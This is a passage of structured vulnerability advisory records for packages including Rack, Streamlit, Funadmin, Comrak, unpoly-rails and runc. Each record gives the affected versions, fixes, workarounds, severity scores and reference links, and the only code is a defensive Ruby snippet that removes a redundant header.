[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-93vr-9q9m-pj8p'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-25659'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/ee004b18b976eeb5a758020af8880236cd707d05'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-125'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-03-24T21:58:53Z', 'nvd_published_at': '2023-03-25T00:15:00Z'}
|
1.4.0
|
GHSA-c6qg-cjj8-47qp
|
2023-08-18T21:04:07Z
|
2023-03-15T21:36:02Z
| null |
['CVE-2023-27539']
|
Possible Denial of Service Vulnerability in Rack's header parsing
|
There is a denial of service vulnerability in the header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27539.
Versions Affected: >= 2.0.0 Not affected: None. Fixed Versions: 2.2.6.4, 3.0.6.1
# Impact
Carefully crafted input can cause header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse headers using Rack (virtually all Rails applications) are impacted.
# Workarounds
Setting Regexp.timeout in Ruby 3.2 is a possible workaround.
|
[]
|
[{'package': {'ecosystem': 'RubyGems', 'name': 'rack'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.0.0'}, {'fixed': '2.2.6.4'}]}]}, {'package': {'ecosystem': 'RubyGems', 'name': 'rack'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.0.0'}, {'fixed': '3.0.6.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-27539'}, {'type': 'WEB', 'url': 'https://github.com/rack/rack/commit/231ef369ad0b542575fb36c74fcfcfabcf6c530c'}, {'type': 'WEB', 'url': 'https://github.com/rack/rack/commit/ee7919ea04303717858be1c3f16b406adc6d8cff'}, {'type': 'WEB', 'url': 'https://discuss.rubyonrails.org/t/cve-2023-27539-possible-denial-of-service-vulnerability-in-racks-header-parsing/82466'}, {'type': 'PACKAGE', 'url': 'https://github.com/rack/rack'}, {'type': 'WEB', 'url': 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2023-27539.yml'}]
|
{'cwe_ids': [], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-03-15T21:36:02Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-9c6g-qpgj-rvxw
|
2023-03-23T18:39:48Z
|
2023-03-17T14:43:03Z
| null |
['CVE-2023-27494']
|
Streamlit publishes previously-patched Cross-site Scripting vulnerability
|
**Synopsis:** Streamlit open source publicizes a prior security fix implemented in 2021. The vulnerability affected Streamlit versions between 0.63.0 and 0.80.0 (inclusive) and was patched on April 21, 2021. If you are using Streamlit with version before 0.63.0 or after 0.80.0, no action is required.
# 1. Impacted Products
Streamilt Open Source versions between 0.63.0 and 0.80.0.
# 2. Introduction
On April 21, 2021, Streamlit merged a patch that fixed a cross-site scripting (XSS) vulnerability in the Streamlit open source library, without an associated public advisory. The vulnerability affected Streamlit versions between 0.63.0 and 0.80.0 (inclusive), which are no longer supported. We recommend using the latest version of our library, but so long as you are not using an affected Streamlit version, no action is required.
# 3. Cross Site Scripting Vulnerability
## 3.1 Description
On April 20, 2021, Streamlit was informed via our support forum about a XSS vulnerability in the open source library. We fixed and merged a patch remediating the vulnerability on April 21st, 2021. The issue was determined to be in the moderate severity range with a maximum CVSSv3 base score of [5.9](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N)
## 3.2 Scenarios and attack vector(s)
Users of hosted Streamlit app(s) were vulnerable to a reflected XSS vulnerability. An attacker could craft a malicious URL with Javascript payloads to a Streamlit app. The attacker could then trick the user into visiting the malicious URL and, if successful, the server would render the malicious javascript payload as-is, leading to an XSS.
## 3.3 Our response
Streamlit fixed and merged a patch for this vulnerability on April 21, 2021. The vulnerability was fixed within 24hrs of notification to Streamlit.
## 3.4 Resolution
The vulnerability has been fixed in all Streamlit versions released since April 21, 2021. The affected versions – those between 0.63.0 and 0.80.0 (inclusive) – are no longer supported. We recommend always using supported versions of the Streamlit open source library. Version 1.19.0 is current as of this advisory.
# 4. Contact
Please contact security@snowflake.com if you have any questions regarding this advisory. If you discover a security vulnerability in one of our products or websites, please report the issue to HackerOne. For more information, please see our [Vulnerability Disclosure Policy](https://hackerone.com/snowflake?type=team).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'streamlit'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.63.0'}, {'fixed': '0.81.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/streamlit/streamlit/security/advisories/GHSA-9c6g-qpgj-rvxw'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-27494'}, {'type': 'WEB', 'url': 'https://github.com/streamlit/streamlit/commit/afcf880c60e5d7538936cc2d9721b9e1bc02b075'}, {'type': 'PACKAGE', 'url': 'https://github.com/streamlit/streamlit'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-03-17T14:43:03Z', 'nvd_published_at': '2023-03-16T21:15:00Z'}
|
1.4.0
|
GHSA-7pmh-8qjj-4q36
|
2023-03-14T22:51:33Z
|
2023-03-08T00:30:31Z
| null |
['CVE-2023-24780']
|
SQL Injection in Funadmin
|
Funadmin v3.2.0 was discovered to contain a SQL injection vulnerability via the id parameter at /databases/table/columns.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'funadmin/funadmin'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '3.2.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-24780'}, {'type': 'WEB', 'url': 'https://github.com/funadmin/funadmin/issues/6'}]
|
{'cwe_ids': ['CWE-89'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2023-03-14T22:51:33Z', 'nvd_published_at': '2023-03-08T00:15:00Z'}
|
1.4.0
|
GHSA-5r3x-p7xx-x6q5
|
2023-03-28T23:08:47Z
|
2023-03-28T14:45:28Z
| null |
['CVE-2023-28631']
|
Comrak AST node data is not validated (GHSL-2023-049)
|
### Impact
A Comrak AST can be constructed manually by a program instead of parsing a Markdown document with `parse_document`. This AST can then be converted to HTML via `html::format_document_with_plugins`. However, the HTML formatting code assumes that the AST is well-formed. For example, many AST notes contain `[u8]` fields which the formatting code assumes is valid UTF-8 data. Several bugs can be triggered if this is not the case.
### Patches
0.17.0 contains adjustments to the AST, storing strings instead of unvalidated byte arrays.
### Workarounds
* Validate UTF-8 correctness of all data when assigning to `&[u8]` and `Vec<u8>` fields in the AST.
### References
n/a
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L'}]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'comrak'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.17.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/kivikakk/comrak/security/advisories/GHSA-5r3x-p7xx-x6q5'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-28631'}, {'type': 'WEB', 'url': 'https://github.com/kivikakk/comrak/commit/9ff5f8df0ac951f5742d22a72c39b89a15f56639'}, {'type': 'PACKAGE', 'url': 'https://github.com/kivikakk/comrak'}, {'type': 'WEB', 'url': 'https://github.com/kivikakk/comrak/releases/tag/0.17.0'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OUYME2VA555X6567H7ORIJQFN4BVGT6N/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PTWZWCT7KCX2KTXTLPUYZ3EHOONG4X46/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VQ3UBC7LE4VPCMZBTADIBL353CH7CPVV/'}]
|
{'cwe_ids': ['CWE-755'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-03-28T14:45:28Z', 'nvd_published_at': '2023-03-28T21:15:00Z'}
|
1.4.0
|
GHSA-m875-3xf6-mf78
|
2023-04-07T22:54:15Z
|
2023-03-30T22:58:38Z
| null |
['CVE-2023-28846']
|
unpoly-rails Denial of Service vulnerability
|
There is a possible Denial of Service (DoS) vulnerability in the unpoly-rails gem that implements the [Unpoly server protocol](https://unpoly.com/up.protocol) for Rails applications.
### Impact
This issues affects Rails applications that operate as an upstream of a load balancer's that uses [passive health checks](https://docs.nginx.com/nginx/admin-guide/load-balancer/http-health-check/#passive-health-checks).
The [unpoly-rails](https://github.com/unpoly/unpoly-rails/) gem echoes the request URL as an `X-Up-Location` response header. By making a request with exceedingly long URLs (paths or query string), an attacker can cause unpoly-rails to write a exceedingly large response header.
If the response header is too large to be parsed by a load balancer downstream of the Rails application, it may cause the load balancer to remove the upstream from a load balancing group. This causes that application instance to become unavailable until a configured timeout is reached or until an active healthcheck succeeds.
### Patches
The fixed release 2.7.2.2+ is available via RubyGems and GitHub.
### Workarounds
If you cannot upgrade to a fixed release, several workarounds are available:
- Configure your load balancer to use active health checks, e.g. by periodically requesting a route with a known response that indicates healthiness.
- Configure your load balancer so the [maximum size of response headers](https://makandracards.com/operations/537537-nginx-proxy-buffer-tuning) is at least twice the [maximum size of a URL](https://tryhexadecimal.com/guides/http/414-request-uri-too-long).
- Instead of changing your server configuration you may also configure your Rails application to delete redundant `X-Up-Location` headers set by unpoly-rails:
```ruby
class ApplicationController < ActionController::Base
after_action :remove_redundant_up_location_header
private
def remove_redundant_up_location_header
if request.original_url == response.headers['X-Up-Location']
response.headers.delete('X-Up-Location')
end
end
end
```
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'RubyGems', 'name': 'unpoly-rails'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.7.2.2'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/unpoly/unpoly-rails/security/advisories/GHSA-m875-3xf6-mf78'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-28846'}, {'type': 'WEB', 'url': 'https://github.com/unpoly/unpoly-rails/commit/cd9ad0007daceeb3b2354fdcab4f88350427bf16'}, {'type': 'WEB', 'url': 'https://docs.nginx.com/nginx/admin-guide/load-balancer/http-health-check/#passive-health-checks'}, {'type': 'WEB', 'url': 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/unpoly-rails/CVE-2023-28846.yml'}, {'type': 'PACKAGE', 'url': 'https://github.com/unpoly/unpoly-rails'}, {'type': 'WEB', 'url': 'https://github.com/unpoly/unpoly-rails/'}, {'type': 'WEB', 'url': 'https://makandracards.com/operations/537537-nginx-proxy-buffer-tuning'}, {'type': 'WEB', 'url': 'https://tryhexadecimal.com/guides/http/414-request-uri-too-long'}, {'type': 'WEB', 'url': 'https://unpoly.com/up.protocol'}]
|
{'cwe_ids': ['CWE-400'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-03-30T22:58:38Z', 'nvd_published_at': '2023-03-30T20:15:00Z'}
|
1.4.0
|
GHSA-g2j6-57v7-gm8c
|
2023-03-30T20:20:23Z
|
2023-03-30T20:20:23Z
| null |
['CVE-2023-28642']
|
runc AppArmor bypass with symlinked /proc
|
### Impact
It was found that AppArmor, and potentially SELinux, can be bypassed when `/proc` inside the container is symlinked with a specific mount configuration.
### Patches
Fixed in runc v1.1.5, by prohibiting symlinked `/proc`: https://github.com/opencontainers/runc/pull/3785
This PR fixes CVE-2023-27561 as well.
### Workarounds
Avoid using an untrusted container image.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/opencontainers/runc'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.1.5'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/opencontainers/runc/security/advisories/GHSA-g2j6-57v7-gm8c'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-28642'}, {'type': 'WEB', 'url': 'https://github.com/opencontainers/runc/pull/3785'}, {'type': 'PACKAGE', 'url': 'https://github.com/opencontainers/runc'}]
|
{'cwe_ids': ['CWE-281', 'CWE-59'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-03-30T20:20:23Z', 'nvd_published_at': '2023-03-29T19:15:00Z'}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.